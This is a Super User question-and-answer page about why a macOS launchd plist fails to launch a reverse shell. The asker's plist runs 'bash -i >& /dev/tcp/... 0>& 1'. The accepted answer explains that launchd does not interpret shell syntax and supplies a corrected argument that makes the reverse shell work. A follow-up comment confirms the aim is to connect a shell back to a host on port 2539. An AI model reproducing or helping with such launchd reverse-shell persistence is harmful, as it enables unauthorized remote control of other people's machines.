Super User is a question and answer site for computer enthusiasts and power users. It's 100% free, no registration required.

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

Does anyone have any ideas why this fails to execute a reverse stream connection when loaded?

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "">
<plist version="1.0">
                <string>&gt;&amp; /dev/tcp/ 0&gt;&amp; 1</string>
share|improve this question
up vote 1 down vote accepted

Redirections such as < or > (and in most Unixes, even the /dev/tcp special files) are part of the shell's command syntax, and can be used only inside a shell that supports them. However, launchd does not use any shell to start services – it creates the process directly using execve() or similar functions, passing a list of arguments that are not interpreted further.

In this case, /bin/bash is executed, and receives the following arguments:

  • argv[0] = "/bin/bash"
  • argv[1] = "-i"
  • argv[2] = ">& /dev/tcp/ 0>& 1"
  • argv[3] = NULL

Bash interprets the second argument (argv[2]) as a file name of a shell script to run; since such a file doesn't exist, bash exits.

Now, if you need the command to be interpreted by a shell, you will have to run a shell manually:

            <string>bash -i &gt;&amp; /dev/tcp/ 0&gt;&amp; 1</string>
share|improve this answer
so are you saying this cant work, or giving me a solution? – November Dec 9 '12 at 21:58
Thank you for answering my question. I know its not on topic but should this file now connect a shell back to on 2539? – November Dec 10 '12 at 3:06

Your Answer


By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.